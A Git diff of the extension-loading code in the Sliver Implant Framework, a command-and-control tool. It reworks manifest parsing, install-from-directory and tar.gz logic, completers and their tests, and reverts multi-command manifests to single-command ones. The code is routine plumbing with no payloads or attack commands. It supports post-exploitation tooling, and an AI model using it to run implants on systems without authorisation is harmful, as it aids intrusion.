return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
//installedManifests := getInstalledManifests()
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range loadedExtensions {
|
||||
for _, manifest := range installedManifests {
|
||||
results = append(results, manifest.CommandName)
|
||||
results = append(results, manifest.Help)
|
||||
}
|
||||
@@ -129,13 +127,3 @@ func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.A
|
||||
return carapace.ActionValuesDescribed(results...).Tag("extension commands")
|
||||
})
|
||||
}
|
||||
|
||||
func ManifestCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := []string{}
|
||||
for k := range loadedManifests {
|
||||
results = append(results, k)
|
||||
}
|
||||
return carapace.ActionValues(results...).Tag("extensions")
|
||||
})
|
||||
}
|
||||
@@ -1,10 +1,5 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
@@ -23,25 +18,26 @@ import (
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"commands":[
|
||||
{
|
||||
"command_name": "test1",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
@@ -57,60 +53,6 @@ const (
|
||||
}
|
||||
]
|
||||
}`
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"commands": [
|
||||
{
|
||||
"command_name": "test3",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
multicmd = `{
|
||||
"name": "example-multientry",
|
||||
"version": "0.0.0",
|
||||
"extension_author": "cs",
|
||||
"original_author": "cs",
|
||||
"repo_url": "no",
|
||||
"commands": [
|
||||
{
|
||||
"command_name": "startw",
|
||||
"help": "startw",
|
||||
"entrypoint": "StartW",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "ex.dll"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"command_name": "Test2",
|
||||
"help": "startw",
|
||||
"entrypoint": "Test2",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "ex.dll"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
@@ -121,7 +63,9 @@ func TestParseExtensionManifest(t *testing.T) {
|
||||
if extManifest.Name != "test1" {
|
||||
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
|
||||
}
|
||||
|
||||
if extManifest.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
|
||||
}
|
||||
if extManifest.Version != "1.0.0" {
|
||||
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
|
||||
}
|
||||
@@ -134,86 +78,67 @@ func TestParseExtensionManifest(t *testing.T) {
|
||||
if extManifest.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
|
||||
}
|
||||
for _, extCmd := range extManifest.ExtCommand { //should only be a single manfiest here, so should pass
|
||||
if extCmd.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extCmd.CommandName)
|
||||
}
|
||||
if extCmd.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extCmd.Help)
|
||||
}
|
||||
if len(extCmd.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extCmd.Files))
|
||||
}
|
||||
if extCmd.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extCmd.Files[0].OS)
|
||||
}
|
||||
if extCmd.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extCmd.Files[0].Arch)
|
||||
}
|
||||
if extCmd.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extCmd.Files[0].Path)
|
||||
}
|
||||
if extManifest.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
|
||||
}
|
||||
if len(extManifest.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
|
||||
}
|
||||
if extManifest.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
|
||||
}
|
||||
if extManifest.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
|
||||
}
|
||||
if extManifest.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
|
||||
}
|
||||
|
||||
mextManifest2, err := ParseExtensionManifest([]byte(sample2)) //checking old manifests work good too
|
||||
extManifest2, err := ParseExtensionManifest([]byte(sample2))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest (2): %s", err)
|
||||
}
|
||||
if mextManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", mextManifest2.Name)
|
||||
if extManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
|
||||
}
|
||||
for _, extManifest2 := range mextManifest2.ExtCommand {
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
}
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func TestParseMultipleCmdManifest(t *testing.T) {
|
||||
mextManifest, err := ParseExtensionManifest([]byte(multicmd))
|
||||
if err != nil {
|
||||
t.Errorf("error parsing manifest: %s", err)
|
||||
}
|
||||
if mextManifest.Name != "example-multientry" {
|
||||
t.Errorf("expected name example-multientry, got %s", mextManifest.Name)
|
||||
}
|
||||
|
||||
if mextManifest.ExtCommand[0].CommandName != "startw" {
|
||||
t.Errorf("expected commandname startw, got %s", mextManifest.ExtCommand[0].CommandName)
|
||||
}
|
||||
if mextManifest.ExtCommand[1].CommandName != "Test2" {
|
||||
t.Errorf("expected commandname Test2, got %s", mextManifest.ExtCommand[1].CommandName)
|
||||
}
|
||||
if mextManifest.ExtCommand[0].Entrypoint != "StartW" {
|
||||
t.Errorf("expected entrypoint StartW, got %s", mextManifest.ExtCommand[0].Entrypoint)
|
||||
}
|
||||
if mextManifest.ExtCommand[1].Entrypoint != "Test2" {
|
||||
t.Errorf("expected entrypoint Test2, got %s", mextManifest.ExtCommand[1].Entrypoint)
|
||||
}
|
||||
if mextManifest.ExtCommand[0].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
|
||||
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
|
||||
}
|
||||
if mextManifest.ExtCommand[1].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
|
||||
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
|
||||
}
|
||||
//maybe some more? args?
|
||||
}
|
||||
const (
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"command_name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
sample3, err := ParseExtensionManifest([]byte(sample3))
|
||||
@@ -230,7 +155,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingCmdName := (*sample3)
|
||||
missingCmdName.ExtCommand[0].CommandName = ""
|
||||
missingCmdName.CommandName = ""
|
||||
data, _ = json.Marshal(missingCmdName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
@@ -238,7 +163,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingHelp := (*sample3)
|
||||
missingHelp.ExtCommand[0].Help = ""
|
||||
missingHelp.Help = ""
|
||||
data, _ = json.Marshal(missingHelp)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
@@ -246,7 +171,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingFiles := (*sample3)
|
||||
missingFiles.ExtCommand[0].Files = []*extensionFile{}
|
||||
missingFiles.Files = []*extensionFile{}
|
||||
data, _ = json.Marshal(missingFiles)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
@@ -254,7 +179,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingFileOS := (*sample3)
|
||||
missingFileOS.ExtCommand[0].Files = []*extensionFile{
|
||||
missingFileOS.Files = []*extensionFile{
|
||||
{
|
||||
OS: "",
|
||||
Arch: "amd64",
|
||||
@@ -268,7 +193,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingFileArch := (*sample3)
|
||||
missingFileArch.ExtCommand[0].Files = []*extensionFile{
|
||||
missingFileArch.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "",
|
||||
@@ -282,7 +207,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingFilePath := (*sample3)
|
||||
missingFilePath.ExtCommand[0].Files = []*extensionFile{
|
||||
missingFilePath.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
@@ -303,7 +228,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
for _, invalidPath := range invalidPaths {
|
||||
missingFilePath2 := (*sample3)
|
||||
missingFilePath2.ExtCommand[0].Files = []*extensionFile{
|
||||
missingFilePath2.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -36,90 +35,121 @@ import (
|
||||
func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
extLocalPath := args[0]
|
||||
|
||||
_, err := os.Stat(extLocalPath)
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
if !fi.IsDir() {
|
||||
InstallFromFilePath(extLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(extLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func InstallFromDir(extLocalPath string, con *console.SliverConsoleClient, isGz bool) {
|
||||
var manifestData []byte
|
||||
var err error
|
||||
|
||||
if isGz {
|
||||
manifestData, err = util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
} else {
|
||||
manifestData, err = os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
}
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
|
||||
manifestF, err := ParseExtensionManifest(manifestData)
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
|
||||
//create repo path
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
|
||||
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(minstallPath)
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... \n", manifestF.Name, manifestF.Version)
|
||||
err = os.MkdirAll(minstallPath, 0o700)
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = os.WriteFile(filepath.Join(minstallPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(minstallPath)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, manifest := range manifestF.ExtCommand {
|
||||
installPath := filepath.Join(minstallPath)
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
if isGz {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
} else {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err = os.MkdirAll(filepath.Dir(dst), 0o700) //required for extensions with multiple dirs between the .o file and the manifest
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
err = util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error installing command: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
|
||||
if err != nil {
|
||||
|
||||
@@ -24,14 +24,12 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
appConsole "github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -55,10 +53,9 @@ const (
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
var loadedExtensions = map[string]*ExtCommand{}
|
||||
var loadedManifests = map[string]*ExtensionManifest{}
|
||||
var loadedExtensions = map[string]*ExtensionManifest{}
|
||||
|
||||
type ExtensionManifest_ struct {
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
Version string `json:"version"`
|
||||
@@ -76,32 +73,6 @@ type ExtensionManifest_ struct {
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
|
||||
ExtCommand []*ExtCommand `json:"commands"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
type ExtCommand struct {
|
||||
CommandName string `json:"command_name"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
|
||||
Manifest *ExtensionManifest
|
||||
}
|
||||
|
||||
//type MultiManifest []*ExtensionManifest
|
||||
|
||||
type extensionFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
@@ -115,11 +86,11 @@ type extensionArgument struct {
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
|
||||
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -138,25 +109,18 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
for _, extCmd := range manyfest.ExtCommand {
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current command?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
@@ -165,165 +129,66 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(data)
|
||||
extManifest, err := ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
manifest.RootPath = filepath.Dir(manifestPath)
|
||||
for _, extManifest := range manifest.ExtCommand {
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
}
|
||||
loadedManifests[manifest.Name] = manifest
|
||||
|
||||
return manifest, nil
|
||||
|
||||
extManifest.RootPath = filepath.Dir(manifestPath)
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
ret := &ExtensionManifest{
|
||||
Name: old.CommandName, //treating old commandname as the manifest name to avoid weird chars mostly
|
||||
Version: old.Version,
|
||||
ExtensionAuthor: old.ExtensionAuthor,
|
||||
OriginalAuthor: old.OriginalAuthor,
|
||||
RepoURL: old.RepoURL,
|
||||
RootPath: old.RootPath,
|
||||
//only one command exists in the old manifest, so we can 'confidently' create it here
|
||||
ExtCommand: []*ExtCommand{
|
||||
{
|
||||
CommandName: old.CommandName,
|
||||
DependsOn: old.DependsOn,
|
||||
Help: old.Help,
|
||||
LongHelp: old.LongHelp,
|
||||
Entrypoint: old.Entrypoint,
|
||||
Files: old.Files,
|
||||
Arguments: old.Arguments,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
//Manifest ref is done in the parser that calls this
|
||||
|
||||
return ret
|
||||
}
|
||||
|
||||
// parseExtensionManifest - Parse extension manifest from buffer (legacy, only parses one)
|
||||
// ParseExtensionManifest - Parse extension manifest from buffer
|
||||
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
extManifest := &ExtensionManifest{}
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
|
||||
//maybe it's an old manifest
|
||||
log.Println(err)
|
||||
oldmanifest := &ExtensionManifest_{}
|
||||
err := json.Unmarshal(data, &oldmanifest)
|
||||
if err != nil {
|
||||
//nope, just broken
|
||||
return nil, err
|
||||
}
|
||||
//yes, ok, lets jigger it to a new manifest
|
||||
extManifest = convertOldManifest(oldmanifest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//pass ref to manifest to each command
|
||||
for i := range extManifest.ExtCommand {
|
||||
extManifest.ExtCommand[i].Manifest = extManifest
|
||||
if extManifest.Name == "" {
|
||||
return nil, errors.New("missing `name` field in extension manifest")
|
||||
}
|
||||
return extManifest, validManifest(extManifest)
|
||||
}
|
||||
|
||||
func validManifest(manifest *ExtensionManifest) error {
|
||||
if manifest.Name == "" {
|
||||
return errors.New("missing `name` field in extension manifest")
|
||||
if extManifest.CommandName == "" {
|
||||
return nil, errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
for _, extManifest := range manifest.ExtCommand {
|
||||
if extManifest.CommandName == "" {
|
||||
return errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return errors.New("missing `files.os` field in extension manifest")
|
||||
}
|
||||
if extFiles.Arch == "" {
|
||||
return errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return nil, errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
return nil
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return nil, errors.New("missing `files.os` field in extension manifest")
|
||||
}
|
||||
if extFiles.Arch == "" {
|
||||
return nil, errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return nil, errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return nil, errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
|
||||
con.PrintErrorf(errInvalidArgs.Error())
|
||||
